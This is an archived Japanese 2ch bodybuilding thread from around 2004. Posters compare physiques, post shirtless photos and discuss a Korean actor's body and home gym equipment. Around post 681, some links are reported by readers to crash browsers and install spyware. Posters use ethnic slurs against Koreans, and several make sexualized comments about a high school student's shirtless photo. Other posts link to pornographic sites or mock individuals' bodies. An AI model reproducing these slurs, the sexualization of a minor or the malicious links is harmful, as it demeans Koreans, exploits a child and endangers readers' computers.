確かに在日の俺たちは本土の人間にはどう背伸びしたって勝てないわなｗ

身体をしこたま鍛えてるにもかかわらずそれを見せない
で優男を演じてる４様を見直したマッチョ
↓

ペの特技に、ボディビル、ってあるからかなりトレーニングはしてるんだろう
ちょっとデータは古そうだが
↓
http://www.fureai.or.jp/~juve10/peyonjyun.htm

しかしこの腹筋ほんものか？？？？
ちょっとグロ入ってるぞ・・

結局、韓国人というだけで偽者扱いされるのか。いい加減、認めなよ。
彼の腹筋は素晴らしいってさ。

しかし胸と腹だけが発達してるような・・・
肩と背とかないし。
俳優だけにシャツパラッで見える部分に特に集中するのかな。

そう？ここ見ると肩や背中も凄そうだけど
http://www.yongjoon.jp/news.asp

４は数年前から肉体改造やっててここ数ヶ月は写真集の為に専属トレーナー付っきりの生活らしいぞ。
食べ物は野菜、果物中心で肉類は鶏のみ。飲み物は水を１日３L飲むそうだ。

さすがﾁｮﾝだな。やることが凄まじくキレイｗ

単純にステユーザーって可能性も無きにしも非ず。

趣味：釣り、ネットワークゲーム　って俺と同じじゃん

いや胸腹以外は至って普通
胸は数年来鍛えているのもうなずける感じ
腹はハンドンキよりいいじゃん。こりゃ遺伝かな？

腹の部分賞だけならミスターコリアかも
実に素晴らしい発達だな。あんなに分厚くはなかなかできないよ

４様って脱いでも凄いんだな

たけぽんさん
SSの器具の使い勝手とかどうですか？
特にパワーラックのインプレきかせてください！

あとタケポンさんの体重と身長とベンチとデッドのマックス教えて下さい。

韓国って徴兵制度があるから概してみんなマッチョっぽい気がする。

たしかに。
マッチョに対して、尊敬の念はありそうだな。韓国は。

こりゃ、４様スレ立てようかな。w

今の４様の画像みたけど、そんなにハキーリからだうつってるのあった？
みつけられなかーたよー。

>>658
４は視力が悪くて徴兵されなかったそうだけど平均的に南朝鮮人は日本人よりはマッチョだろうな。
というより日本人の男が平和ボケで女性化してるだけとも言える。

>>660
こんなスレタイどうよ？

【ヨン様】韓国マッチョを語れ【俳優】

>>662
それはいえてるよね＜女性化
というか漏れ自身がそうだたーよ。
拒食症みたいなふうに痩せていて、女よりも当然細いし
いつもナヨナヨウジウジしてたｗ

今でも標準にやっとなれたってくらいだけれど
今の自分のほうが好きｗｗ

こんなのはどーだ？
【マッチョ】♥ヨン様♥【ムキムキ】

ソニンも筋肉つきやすいしな。
肉食の歴史が日本とは違うのが原因とか聞いたことがある。

>>665
それのほーがすきｗｗ

>>664
腕なんて男も女もほとんど変わらないってデータもあるしな。
サンプルは少ないけど納得できる数字ではある。
ttp://homepage3.nifty.com/orangejuice/arm4.html

>>668
しかし、みんながどれくらいかわからないけれど
漏れは２年トレしているんだけれど
スタートが拒食症というかまんま強制収容所抜け出してきたような奴だったから
２年たった今でやっと標準体型よりやや、やせ気味ってくらいだよ。
いわゆる、マッチョにへの道は超な゛かい(´∀｀;)

>>668
トレーニング歴3年の俺よりも、かーちゃんの方が前腕上腕とも太いよ。
女は脂肪が厚いからな。

スマソ。

＞新このホストでは、しばらくスレッドが立てられません。

なんで、ヨン様スレ立てられないや。

>>671
待った、本気で立てるつもりだったのか！？

671 名前：無記無記名 ：04/10/13 19:06:17 ID:PnkpFD3X
スマソ。
＞新このホストでは、しばらくスレッドが立てられません。
なんで、ヨン様スレ立てられないや。

672 名前：無記無記名 ：04/10/13 19:07:24 ID:tZIkV8NZ
>>671
待った、本気で立てるつもりだったのか！？


ワラタ

わらうな w

なんだか気持ちの悪い展開。ヨン様ヨン様って。
層化等の工作員による「日本人に『寒酷』を好きにさせるキャンペーン」の一環ですか？

別にネタになれば、何人だろうが良いんじゃねーの？

>>675
だから、あの４様がこんな身体だった、っていうのが面白いんじゃん

もう４様はいい　おまいらの肉体をうｐしてくれ

http://www.uploda.org/file/uporg11787.gif

ほれ、スキャンダルの４様だよ。
まぁ　普通の体だな・・
コラっつーことで。

http://www.uploda.org/file/uporg11787.gif
http://image.brokore.com/imx/yongjoon/11.jpg

兵役とかいってるバカはどこ？？
筋肉のつき方が違うとかいってるバカは？？

四様はコラだった？

以下ソース
ttp://users3.cgiforme.com/explorer1/messages/1318.html

機具留美来てるんじゃないの

>>681
最近のコラって凄いねｗ　これって胴体だけ４様なん？

つまんないもん貼るなよ
うれしいかそんなことして！

ていうか、俳優って役柄に合わせて自分の体型ぐらいは変えるからね。
ロバート・デ・ニーロなんかそれで有名だし。

>>681
これなんだ！
ブラウザぶっこわれたぞ！ウィルスかなんか張るんじゃねええええええええええ

ウイルスじゃなくてブラクラね

>681
ぺよん純ごときで、何ムキになってブラクラ＋ウィルス貼り付けてるんだ？
なんかやましいことでもあるのか？

ウイルス４つも取れた。

この問題は、写真集が実際に出るまでは保留にしとこうよ。

このウイルス放置するとどうなんの？

どないもならん。ウィルスじゃねーから。
そのままほっとけ。

でもノートンが １０個くらい反応したんだが。
そして、いくつかのファイルは修復できなかったそうだが。
(；・∀・)ﾀﾞﾀﾞｲｼﾞｮｳﾌﾞ･･･?

>>624ってほんとにヨン様なの？
ほんとだったら確かにすごいけど・・・。

>>693　ウィルスのような誤作動起こすだけ。ほっとけ。

ウィルスバスターがスパイウェアいっぱい検出したぞ！

http://www.uploda.org/file/uporg11845.jpg

【身長】　165cm
【体重】　65kg
【体脂肪率】　18% (タニタ体脂肪体重計)
【上腕二頭筋】　MAX 38cm
【胸囲】　MAX 103cm
【トレ歴】　4年
【トレ数】　週一回
【サプリ】　プロテインのみ (トレ後5日間)

こんなスレがあるとは思いませんでした．
遊び半分でとりあえず画像アプってみます．
この画像を撮った時の体の状態は，
9日間トレ無し，撮影時パンプ・アップ無し．
誰だかバレないように肌をハルク色にしてみました．

なんてことのないただの小デブって感じ。
コメントのしようがない。

>>694

四様の韓国の公式ホームページ見てみろよ。
vol.1の方な。
背中の厚みもなかなかのもんだ。
見直したよ、四様。


http://www.byj.co.kr/

いや、結構バルキーだと思うが。
でぶっていうのは 内山君とかでしょ。

俺と同じ位のボディサイズだな。

>>694
かなりテキトーに猫背＆リラックスポーズなので
お腹のスジは見ないでくれ〜

ヨン様が光臨しますた！！

四さんのウイルスなおらねーぞ！！
ホームページが勝手に変わっちまう　

Ad-Aware使って何回もスキャン＆削除したけど直らん
どうすれば良いんだ(ToT)

ﾏﾝﾄﾞｸｾｰなぁ・・・ＸＰならシステムの中のシステム復元を実行しる！
他のＯＳなら知らん。

2000だす(ToT)

PCの調子が悪くて困っている人のためのサイト
http://higaitaisaku.web.infoseek.co.jp/

>>697
体脂肪率18%には見えませんねー　もっと低そう。
ビッグ3どのくらいの重量扱えます？

>>681
PCがおかしくなりました。
被害届を出そうと思います。

俺のはSP2だからな。ブロックされてるから安心。

＞６５７
身長１７７、体重１０４
ベンチ１４１＊６
デッド２００

>>697
おまえはピッコロか

>>697
普段のトレでは，
インクライン・ダンベルプレス　28〜32kg
フラット・ダンベルフライ　18〜24kg
スタンディング・バーベルカール　35〜40kg
などを10*5setくらいやっています．
ベンチプレスは全くやりません．
大会出場目指しているわけではないので（バカにしているのではなく）
一回MAXというのは狙わないので正確な事は言えません．
やり方は色々あるとは思いますが
ほんの少しでも意識を別の筋肉に移せば
多少重いものでも挙げられることができ
それなりに他人に良い所を見せることができます．
私は，他人との「俺はこんだけできるぞ」勝負をするつもりは．．
もちろんありますが＾＾
できるだけ本当に意味のある事だけをしようと心がけています．
ついでに，私は骨格がとても細いので各部への意識の集中に専念しています．
あの画像撮影時で
胸囲　103cm
ウエスト　74cm
手首周り　15.5cmです．．
けして小デブじゃないですよ＾

やっぱこの板ってＰＣ弱いやつ多いな。
ブラクラ程度であっぷああっぷかいな…

>>713
厨房レベルのミスタイプする香具師もいるしな。

あっぷああっぷとは？

いちいち人のタイプミス指摘するのも厨坊だなｗ

ちょっといじって見ただけジャン、

>>710
おお、そんくらいで安定してればいいんですけど
SSのぱわらくどうですかい？使い勝手とか

>>697
なんか怖いよ。

たけぽん、自演ウザイよ…

使用感はいいですよ。
前はジムに通っていたんですが、
ジムと変わらないくらい良いです。
＞７２０
自演じゃないですヨw

>>721
レスアリー
ふむふむ、デッドとかもラックでしてます？
２００扱っても兵器ですか？

デッドは床からやってますよ。
ベンチやってるときつぶれることが何度かあって、
イキオイよくセーフティーバーに落としたことがあるけど、
全然大丈夫でした。

１５０あたりなら余裕ってみていいでつか？

２万のパワーラックでつよね？

たけぽんのホームジム見逃した。
参考に死体からも一回うぷして〜。
下のスレがホームジムうぷスレだよ。
http://sports7.2ch.net/test/read.cgi/muscle/1082130094/

たけぽんマジいらない

http://www.uploda.org/file/uporg11925.jpg
【身長】　172cm
【体重】　66kg
【体脂肪率】　13%
【上腕二頭筋】　MAX 33cm
【胸囲】　MAX 96cm
高1、運動部所属です。

>>727
おまえはなぜそこまで　タケポンを嫌うのだ

おそらくムチムチした体型のせいかと・・

>>729
マッチョでなくてデブだから・・そいでもってホームジム晒したり
でしゃばり杉

>>728
イイ！！

>>729
727じゃないけど、前出てたたけぽんの身体はどうみても
観賞向きじゃないただのむっちり型だったから。

>>728
高一素晴らしいが、こんなとこ来ちゃダメだよ。もっと純粋に生きて。

>>732
鑑賞って・・・・おまえまさか(;´Д`)ﾋｰ

ラグビーのフォワード選手とか、重量挙げの選手とか、
みんなたけぽんみたいな体型だぞ？
あーゆーのが本当の漢だ。

>>735
本当かどうか知らんがとりあえずこのスレではいらない

>>728
きれいだ。きれいな体だぁ。
今日から君は僕の待ち受け画像（;´Д`）ﾊｧﾊｧ

>>736
なにがいらないだ。
俺的には>>728みたいなガリがイランわ。
胸板ないし、どこが参考になるんだ？

（ネタにつかってゴメン>>728）

重量挙げの選手っていっても、その最重量クラスとか、
力士みたいな身体をこのスレでさらされてもなあ。。。
ガリの僻みっていわれればお終いかもしれないけどｗ

個人的には736が要らないと思う。何をもってマッチョと言うかという基準は千差万別なわけで
自分の感覚と異なるから排除しようとする身勝手な言動をやってたら、スレッドが成り立たない。
まあ、次スレは分割する(>>405)って案が現実的でいいと思われ。

>>740
そーだそーだ（･∀･）ｲｲﾖｲｲﾖｰ

マッチョの定義は人それぞれかもしれないが、
たけぽんの身体は美しくないというのが個人的な感想。

おまえらすぐ釣れておもろいｗ

>>740
ではバルクもあって絞れてるのはどこに行けば？？？

>>743
http://www.media-k.co.jp/jiten/wiki.cgi?%A1%E3%A4%C4%A1%E4#i16

>>744
大丈夫

そんなのいないから
or どっちのスレでも受け入れられるから

なんていうか……どんな体でもいいじゃないか。
たけぽんみたいな体でもひきしまった奴でも、みんな頑張ってトレしてることに変わりはない。
もっと仲良くしようぜ〜？

そうだよ。誰も「今からお前はこの体になるのだ」
って言われてる訳じゃないんだから。
美しいだとかそんなじゃなくて、>>747の言うように
トレしてる人が励みにしたり励まされたりするようなスレになってほしいな。

だな

ヨン様はドーピングっぽいな

ひとそれぞれ筋肉の質があるからな、なんでもドーピングと結びつけるのはどうかと思うが。

http://p3.ne7.jp/t/t.jsp?i=AFUYIqPm2gJ0
高二です。感想よろ。

なんか、ブラクラっぽいので踏めない。

>>728
いいね〜

４様をきっかけにボディビルが
女どもに見直されるって事は無いのかな

>>728
ホモ好きのする乳首だと思う・・・・・、ﾊｧﾊｧ。

http://pksp.jp/ikepara/bbs.cgi?&o=9
ここには負けるなあ。

色白のマッチョてキモイですか？

そんなことないわよ
とっても素敵だと思うの！

流れ壊してｽﾏｿ
>>718
２万のはそんな使い勝手良くないよ。
奥行き少ないのに、ラック部品が長すぎ。しかも突っ込む穴が随分デカイので垂れ下がった形になって、100Kg越えるとちょっと不安を煽る。
いちおう大丈夫のようだけど、ガツンとラックするのはやめた方が良いと思う。
またそのダブルパンチの奥行きの浅さのために、スクワットの時、少しぶれたらバーが前面ラック、そちらに気を取られすぎると後の支柱に当たりそうになる。

それと部品追加が出来ないとのことで、上限をセットするパーシャルレップには不都合。

あと厳しかったのは、ネジの堅さ。
オレのだけそうだったのかもしれないけど、とんでもなく堅い。
付属のねじ回しなんかじゃ絶対に回らない。
工具好きの漏れは普段必要のない“パイプレンチ”ってのを持ってるので、それとモンキーレンチで何とかなったが、ナットの中に緩め防止と思われる部分があって、これがひとねじ目から膨大な力を要する。
家にあるならいいけど、最悪大きめのモンキーレンチを２つ購入する必要がある。
どこかで借りれたらいいね。
組み立ては一人で40分ぐらいかけて仕上げることが出来たが、半端じゃないほど疲労した。
その分、しっかり最後まで締めたら、ぐらついたりネジのゆるみはない。
それと、説明書が不十分。
ワッシャは説明書に書いてない部分のところも殆ど用意されている。
一応全てのボルトに入れてみて、数を見てからやることを勧める。
一度締めたら、絶対に緩めようと言う気力は無くなる。
おかげで随分余らせてしまったが、やり直す気はもう無い。

で、総合して、パワーラックもピンキリだ、と割り切れるなら、値段のわりにはまぁ良いかな、とは思う。

>>755
ああいう筋肉質はもともと嫌がられてないんでないの？
ブラピみたいな感じも。

日本人は鍛えまくってカッコよさを気にしないデブマッチョやﾋﾞﾙﾀﾞｰ的筋肉ﾏﾆｱか
ちょっとだけやるガリ（痩せﾏｯﾁｮ）の二極化が激しいからそういう空気なんじゃないの？

工具好きならメガネレンチと言って欲しかったな

↑　↑　↑
工具を触った事もない人でつね。

ボルト・ナット締めるのにパイレン使うなんてどこの国の人ですか？ｗｗｗ
普通ボックスかメガネだろーがｗｗｗｗｗ

>>760
詳しいレスありーー
参考になりますたー(´∀｀)

>>764
だかーらーそーいうあおりはよせって(´∀｀;)
仲良くやってこーぜー
せっかくレスしてくれたんじゃないかー。
みんなも参考になったろー

>>764
とりあえずスレ違い

閉めたモンでないとあのネジの強固さは分からんよ。
ベストじゃないがベターな選択だった。
メガネじゃ固定側も回す側もムリ。
パイレンなんて言い方するんなら、あれがどれぐらい強いか知ってるだろ。
力がどれぐらい伝えやすいかも知ってるはず。
とにかくネジが常識外れに堅い。
付属にあんなぺらぺらのスパナ付ける神経も疑うところだ。
買いそうな人がいたからそれを伝えたかっただけだ。
一般常識で知ったかをかまされても困る。

>>767
そいつはたしかに、ネジ締め大変そうだね(´∀｀;)
っていうか、まともに締め込みできてない人のほうがおおいのかも．．．

>>768
はい、マジで。
一個目はモンキーとスパナでやってたけど、あと３ミリほど余裕があって締まりきってないのに手がくたくたになって、思いついたのがパイプレンチでした。
ただ、上で小馬鹿にしてる人がイメージしてるものとは大きさがかなり違うともｵﾓﾜﾚまつ。
ウチにあるのは長さ30cm弱ぐらいの小型のもんです。

メスカブト

小馬鹿にすると言うより、あんなもんつかったらボルトが痛むだろ

http://www.wata888.net/contents/diary/photo/041005_3.jpg

私の体じゃありませんが、ラグビー選手の体です。

画像うｐする人、
ここのうｐﾛﾀﾞ軽いからおすすめ。
http://pc5.2ch.net/test/read.cgi/dtm/1092226869/401

>>722
ひきしまりすぎだな。ラガーマンならもっと肉がついてないとむしろケ
ガをする。

>>771
一般常識ならそうだろう。
でも、あんなもんでも使わないと締まらなかったんだから仕方ない。
ボルトは至って普通。
原因はナットの方の形状。
ねじ切りとは別に、きれいに一周、山がある。
ゆるみ防止だと思う。１個だけでなく、全部がそうだった。
組み立てベンチのように、有る程度まで指で締めて、ということは一切効かない。
あまりきついので空でネジてみたが、ゆるみ防止の山が噛み込んで、一回転ぐらいで指で回すことは不可能になった。
そのとき、始めてその余計な山に気付いたんだけどね。
一度締めたら緩めることを前提にしてないナットかもしれないと、今思い始めた。
鋼材は何つかってるか知らないが、頑丈。
少々傷が入ったが、六角形の山が欠けたりはしてない。
お徳用の逆回転の効く六角スパナレンチセットでは、製品が完成する前に間違いなく壊れる。
マジできつく堅い。

http://www.uploda.org/file/uporg12038.jpg

３０歳
１６５センチ６０キロ

腕立て伏せのみ３年ほど続けてこの程度です。

>>776
素晴らしい。まさに継続は力だな。

見た目からすると、もっと体重がありそうに思うけど、
ひょっとすると本当にトレーニングは腕立てだけで、
背中や下半身は鍛えてないのかな？

>>776
なんか他のトレーニングもやってるんだろ。
腕立て伏せの負荷だけじゃここまで大胸筋は発達しないと思う。

>>776
それだけの継続する力があるなら早いうちにダンベルくらい買っておけばよかったね。
今の二周りくらいでかくなってただろうに。

>>776
(・∀・)ｶｺｲｲ!!
どれくらいの頻度でどういう風に腕立てしてるか教えれ。

>>776
きもいよー。
皆本気でカコイイって思ってるの？

いや、仕事が肉体労働なもんで家では
腕立て伏せしかやりません。
持久力優先なので腕立て１００回を１５分くらい掛けて
ゆっくりやってます。
それだけです。

>>776
久々にヒットです！別カットもよろ！（腕とか）

>>781
どうきもい？　腹筋割れれば完璧じゃん。

>>774
ハァ？
左側はバックスならあんなもんだ。
右側くらいの絞り具合ならプロップでもたまにいるんだよ。
ラグビーやったことあんの？

いそっぷが死んだのは俺のせいだ。

>>776
まじで素晴らしいと思うのか？

>>697
漏れは確実に猛烈にこっちのピッコロの方がマッチョだと思うが。

あと、頼むから高校位のヤツで痩せてて部活やってて
必然的に付いてる腹筋を自慢するの辞めてくれー

俺も６９７がカコイイと思う。
肩の筋肉もあるし。

>>697はマニア受けする身体だとは思う

697はSASUKEのYAMADAのような体をしているな。

>>787

↑皆さんこれからレスつけずにスルーして下さいねｗ
厨の最大の糧はレスがつく事です。
（この分含む）

791
意味和下欄．．．
素直に人様の裸体見て感想・評価するスレだと思うが．．．

もまいはまさかせっかく自裸うｐしたのにスルーされたんか？

面白そうだったので>>697に倣ってハルク化してみました。
面倒くせぇ絶対もうやらねぇ。しかも697ほど上手くできねぇorz
ttp://49uper.com:8080/html/img-s/16333.jpg

何度か貼ってる172cm74kgです。

デカイだろ？

http://club1069.topfong.com/postbbs/message/23963.html

カットがいい。

http://club1069.topfong.com/postbbs/message/23060.html

>>794.795
通報しますた

>>795
そのサイト晒して台湾人のクラッカーに個人情報晒されて
亜ボーンされた奴いてたな。かわいそうに

>>774
この二人、ラグビーの日本代表選手だぞ・・・ヤマハに所属。

責めないであげて

（´・ω・｀）つ【８００】

>>793
配色が気持ち悪い。でも肩の肉付きはいいね。
もし良ければ元の色で見せてもらいたいんだが。

>>795
個人的にはこれが理想だな。
チンコだけは俺と同等。

>>795
こういう人がゲイのヌードモデルやっちゃうアメリカはやっぱり凄い。
日本だったらトップビルダー並（かそれ以上）の身体だもんな。

803 ：無記無記名 ：sage ：04/10/16 16:44:51 ID:bgCK7FMN

>>795
こういう人がゲイのヌードモデルやっちゃうアメリカはやっぱり凄い。
日本だったらトップビルダー並（かそれ以上）の身体だもんな。

795の画像の人はGAYビデオにも出てるけど
結構有名なプロのフィットネスモデルだよ！
向こうって凄いですよね､プロ同士のモデルコンテストがあったりして！

>>805
そうなんだ。日本のゲイモデルの体があまりにお粗末だから、
やっぱりアメリカはマッチョ大国なんだなとつくづく思う。

高校生もっときてぇ(・∀・)ﾊｱﾊｱ

高校生イラン。

高校生イラク。

高校生イラブ。

高校生メイクラブ

女子高生イメクラ

女子高生にクラクラ

>806
アメリカの成人の6割は肥満体だけどな。アメリカ行って、街中歩くと
デブばかりで驚かされるよ。日本ではありえないようなデブも良く見か
ける。

ttp://www.uploda.org/file/uporg12285.jpg

ムチーン☆

>>793
こ、こわひ。

脂肪だらけ

ttp://www.ne.jp/asahi/conan/net/crew2/126/022.jpg

どうでしょうか？
お願いします。

http://asx.pod.tv/_002/msi/special/aroma/500k/000101010462_500k.asx
どうでしょう？
本物でしょうか？

>>819
合成でウエストを細くしてまつね(笑)

http://jpg.hardcore.pornparks.com/harley0409/update1017/muscle/g04/AnthonyxVillaccix40.jpg
バルクはそんなにないけれど、切れ切れ。

バルクはそんなにないけどって、かなりあると思うが。

このスレにいるやつでも これぐらいバルクあるやつって そんないないと思うが。

まぁオリンピアクラスと比較してるなら分かる。

>>822
加齢による肌のたるみが悲しいね

加齢よりも体脂肪落とし過ぎと日焼けしすぎに問題があるかと

ホモ用はこちら
↓
ttp://bigmuscle.com/profile_list.phtml

age

今はこんなです
体脂肪率がヤバイですが
ttp://www.uploda.org/file/uporg12805.jpg

白すぎてキモい

>>828
広背筋が発達してますね。身長、体重、体脂肪率はどのくらいですか？

かなり偏った筋肉のつき方だなあ。
自宅トレーナーさんじゃな？

171cm 68kg 23%くらい？だと思う
かなり不正確
ちょっと色気を出して肩甲骨を広げて広背筋を大きくみせてるだけです
腹に縦のラインが見える程度までは絞るべきと思いつつうっすら見えるだけで満足し今に至ってます

自宅じゃないです
パワー3種＋プル系種目とチンニング、肩、の大筋郡主体のスプリット
偏って見えるのは上腕前腕など小筋郡をほとんどしてないせいかな笑い

>>833
逆三角形(・∀・)ｲｲ!!

魔裟人「日本にいたくなかった」

「逞しくなったな」――伊原会長の声に笑顔で応えた。
明らかに盛り上がった胸板。キレイに弧を描くハムストリング。
「イッシ！」と声を上げながらサンドバッグにキレのいいキックを叩き込むと、
「バスン」といかにも重そうな音がジムの外にまで響き渡った。


ハムストリングとカーフ間違えてないか？

逆三角形なのは、チンニングがいい効果でてると見た。
俺も明日からチンニングしよう。ありがとう。>>833

最初は言語を絶する醜いｶﾗﾀﾞでした
始めた頃の目標
とりあえず腹筋が見えるように、体脂肪率31→17、とにかく腹筋をやった
顔がこけて不健康そうといわれたので減量中止
一年後くらいの目標
正しいトレーニングが出来るための基礎作りにストップスクワット、デッドリフトと柔軟に力をいれる
姿勢矯正効果でサイズアップしたものの細くなったといわれる
二年目前半
胸とカーフ、たる型の太もも脚をやめるためそこを重点的に。このころからバルクが出だしたが平行してまた太る。
胸と太ももの膝上のところは目論み通りについた。カーフは形が整ったにとどまる。
二年目後半
デッドで僧帽筋が発達し、寸胴こけし型になったので三角筋のサイドヘッド、広背筋に力を入れる。
逆三角形になってきたものの、フロントヘッドが貧弱なために胴と腕の境界が不明瞭
さらに胴の割りに腕が細くて変、体脂肪率上がる

次の目標はあと数ヶ月今と同じ逆三角形化を続行しつつフロントヘッド、三頭筋も重点的に
年明けぐらいからはさらに大好きなベンチを控えてナローベンチやインクラインプレス、フロントプレスに換える
初夏から減量
今までの計画、これからの計画はこんな感じですがどうでしょうか？

>>836
効かせかたがわかったのは最近です。
自分の場合ベントロウもチンニングもいくつもポイントを抑えないとぜんぜん効きませんでした。
自分だけのコツを見つけるとこのくらいあっという間だと思います。

広背筋の付着がかなり下の方からなのできれいな▽に見えるんでしょう

ttp://www.live-gay-h.de/Galerie/soft/p011.jpg

こういう人ここにいないの？

>>839
いるけど、たぶん晒さないんじゃ・・・

>>839
びっくりした。オレの写真晒されてるのかと思った。

>>828
消すの早いよ〜。

　|　
　|　　(~ё~) ＜私のお尻に視線を感じる・・・あまりにも、めずらしくて見ているのでしょうね〜
／￣ﾉ( ﾍﾍ￣

>>840
いないから晒さないんだよ・・

消すの早いといわれたので今晩も晒してみます
http://www.uploda.org/file/uporg12919.jpg
広背筋をお褒めいただきましたが、実際は胸のほうがほめられます
服着て撮ってみたので服のしわで判断してください
http://www.uploda.org/file/uporg12920.jpg
服を着ると広背筋の広がりは見えなくなるのに三角筋の前部が貧弱なのが如実にわかってしまいます

服　囚人？

ﾜﾗﾀ
とりあえずボーダー柄が一番体の凹凸がわかりやすいと思ったんで

かっこ悪い体だな・・
胸も大したことない。

たしかに裸の写真より服着た方が胸がわかりますね。
裸の写真とる時、スタンドのライト等を利用して影をうまく作って
やるといいかも。

ユニクロ！

>>795
ゲイモデルというのはチソコが勃っているのが基本なんですか？

山本ＫＩＤみたいな筋肉してる奴いないの？？

>>845
背中見せてよ

背中うまく撮影できませんでした。
感じとしては広背筋より僧帽筋が目立つ不恰好な体です。
肩甲骨の間にそとからとってつけたような隆起があって気持ち悪い･･･
こんなもんでしょうか？
よくないところ
脂のりすぎ、腕細、肩貧弱、前腕細、
っと思っているんですがどんなもんでしょう？
こんど頑張って背中撮ります。
あと前後180度開脚でもｱｯﾌﾟしようかなW

脂のりすぎ？　ちゃんと食べてる？

＞845
なんかキモい
色白だし。。

ごめん 煽り抜きでこれが正直な感想

http://ms.skr.jp/up/files/0063.jpg

二十歳、６４ｋｇぐらい。

あっそ

>>845
相変わらずキタネー部屋だね。

日本人の筋肉自慢てなんで脂肪に覆われたブヨブヨが多いの？
かっこよさとか気にしないの？

>>857
いいなー

なーんかださいんだよな。。

おまいら、携帯用アップローダ教えて下さい
探しとも見つからん…

礼はする

>>845
何かバランス悪いですね、腕が細く胸囲と言うか、胸囲の下があって
ジャイアント馬場みたいｗ

そう？男らしいかっこいい体だと思うけどな・・・・
ちなみに俺ガリ　広い背中になりたい

>>845
チンニングって握り方どうやってやってます？
肩幅より広め？　初めから回数できたほうですか？
人それぞれなのはわかってるけど
あなた流の効かせ方を参考までに教えて欲しいんですが。
早く上げてゆっくり降ろすとか　効いてそうなとこで止めて軽く足振ってみるとか
色々試してるけど腕ばっかりパンパンになって背筋に効かない・・。
その前に広く持つと１回すら上がらないし。

だ〜か〜ら〜

ただ
白い　とか　キモイ　とかだけじゃ
「お体批判スレ」になるだろ。
的確にどこをどう直せばいいかアドバイス入れろよ。
つぅか・・
UPの質が悪いのは、レスが悪いから。
早く気付けよアフォども。

>>865
俺とまったく同じだ。手の幅を狭くすると１０回ぐらいあがるんだが、広くすると１回が限界。
背中にまったく効いてる気配なし。どうすれば正しく背中に効くのかおせーて。

出かける前に消していきます
ストリクトには一回も出来ない人でした
なで肩、こけしのような体型でした
初期はとりあえずワイドやってみた。できなくなったらネガティブでも
やり方はパワーラックにセーフティバーをセットして上がらなくなったらセーフティバーを蹴って斜め懸垂っぽくやってた
平行してラットマシンじゃないプルダウンマシン（円軌道を描くので好き）
わきの下にばっかり効いてました
中背部に効かせたいときはTバーロウ（ただ僧帽筋の中部下部に効いてるだけで広背筋にきてなかった）
その後はとにかくプルダウンマシン、とにかく重量重視で。たいして効かなかったけど、その頃の筋力の下支えがその後につががってる？
チンニングをVバーチンニングに変える。負荷は下がったがストレッチ感が強くよく効くようになる
ストレッチ感を追い求めてプルダウンマシンもワンハンドでやってみた
ショートインターバルでがむしゃらにセットときに広背筋下部の使い方を突然悟る（説明が面倒なので略、リクエストがあればそのうち）
以後その感覚を意識してワンハンドダンベルロウとVバーチンニングをやりこむ
下部の使い方がわかったら苦手だったベントロウも背中全体にパンプするようになった
チンニングも背中が膨れ上がるようなパンプ感を得られるようになりました

>>868
あの程度でそんなに力説されても困ります(^-^;

なんか晒すとトレーニングのやる気が出てきそうなので、
まだしょぼいですが晒します
http://www.uploda.org/file/uporg13036.jpg

批評屋さんコメントﾄﾞｿﾞｰ↓

おいしそうな色ですね

乳首がセクシー

画像うｐしてくれる人はメアド残してください、画像交換しましょう。

↑あんたホモだろ、、、

>>870
体のバランスはいいので、とりあえず、そのまま頑張れってとこかな・・・

>870
体脂肪いくつですか？

＞870
いい感じじゃん
ぶっちゃけそんくらいが１番もてる体なんだよね
角田や中山きんにくんみたいなマッチョになる必要なし

845よりは百倍いい体。
845はキモイ。　マッチョでもなきゃガリでもない。奇形っぽいよ845

なんかいろいろコメントありがとうございます。
勇気が出てきました。
これからますます精進してがんばります。

体脂肪率は、足で測るヤツだと15〜17くらいかなぁ
まだ脂肪が多い気がしてるので、
体重維持しながら筋量を少し増やしたいと思います。

ちょっと恥ずかしいけどうｐしてみます。
トレ歴一応３年なんですが
胸とおなかはそんなにやってないので
肩と太ももを見て欲しいんですが、どうでしょうか？

http://www.unsymmetry.org/up3d/files/1098447586372.jpg

セクシーだねｗ

８４５きもかったなー
ジャイアント馬場をさらにきもくしたような体型
なんて言うんだろうなー
ただ単純にキモイ

>>874
交換しましょう　メル欄

>>881
できれば太ももがよく確認できるように
開脚して前から撮ってもらえると…(*´д｀*)ﾊｧﾊｧﾊｧｱﾊｧ

確実にいじめられっ子、メンヘルって感じ。

845はもう画像が消えてるにも関わらず、すごい言われようだな。（笑）

あんまりキモいキモいというと晒してくれる人がいなくなるぞｗ

http://b.pic.to/3vq40
トレ歴一年記念、172�p80�s

943 名前：氏名黙秘 ：04/10/23 03:25:41 ID:???
わりい、さっきの軽い方だった。
http://p.ne7.jp/t/t.jsp?i=ANbqpcfkGgJ0


すげーやつだぜ
１７０センチ５７きろで
ダンベルカールを２０回数セットこなすという御人

一年前の俺http://c.pic.to/3tb0u

そして今…http://a.pic.to/3vbi7

カットが出てないのはしょうがないでしょ。
トレーニーは常にオフ状態なんだから。

大体体脂肪絞りすぎると筋肉つきにくいし。

http://b.pic.to/3vn42

テスト

ここで基地外二人が仲睦まじく語り合っています。
ご近所お誘い合わせの上参加して下さいね☆

一番女ウケいい男の体はヤセマッチョ　2
http://life6.2ch.net/test/read.cgi/body/1098470441/

>>889
PCからみれない。

>889
設定かえました、使い慣れぬもので…(´･ω･`)

>891

1年ｽｺﾞｲ変化ですね。
有酸素と筋ﾄﾚを交互にしたのでしょうか。
良ければ、扱う重量の推移とか1週間のﾄﾚﾒﾆｭ教えてください。

>>891
かなり理想な体。
しかし、1年でそんな変わるかね？
プロにでも指導受けたの？

>>898　１００％別人なので心配しないで。

900げとー

>899
なぜわかった!?
Σ(ﾟДﾟ)

一年前格闘技からパワーに転向してＳ180Ｂ125Ｄ215です
ｼﾞﾑに俺よりもずっとバルキーで切れ切れの同い年の野郎がいるので今度うpします

>>891みたいのって携帯用サイトなのかな
リンク先じゃなくて普通にjpgで貼って欲しい

>902
携帯しかもってないんだけど、どうやるの？

まずお店に行ってパソコン買ってください

空手の角田さんも2ｃｈ見てるらしいぞ！！
うｐしてくれないかな？？

>>901
で、、別人なんでしょ？あれ。正直。

>906
yes
むしゃくしゃしてやった、デブなら誰でもよかった、今は反省している


デブじゃない方は漏れです

ちとデブすぎだったよ、あれは

彼は僕に２chのイロハを教えてくれた恩人です、身長体重は僕と同じ

ようはそのまま自分の体を上げると叩かれそうだから
デヴヲタの彼と一緒にあげよう、と

やりかたがせこいなぁ

>>891
いやー別人と聞いて安心してしまいました。
1年であそこまで変わられると…。
変わる人もいるんでしょうけど。

>910
そんなつもりじゃ…
(´；ω；`)

角田さんうｐお願いします

>>870
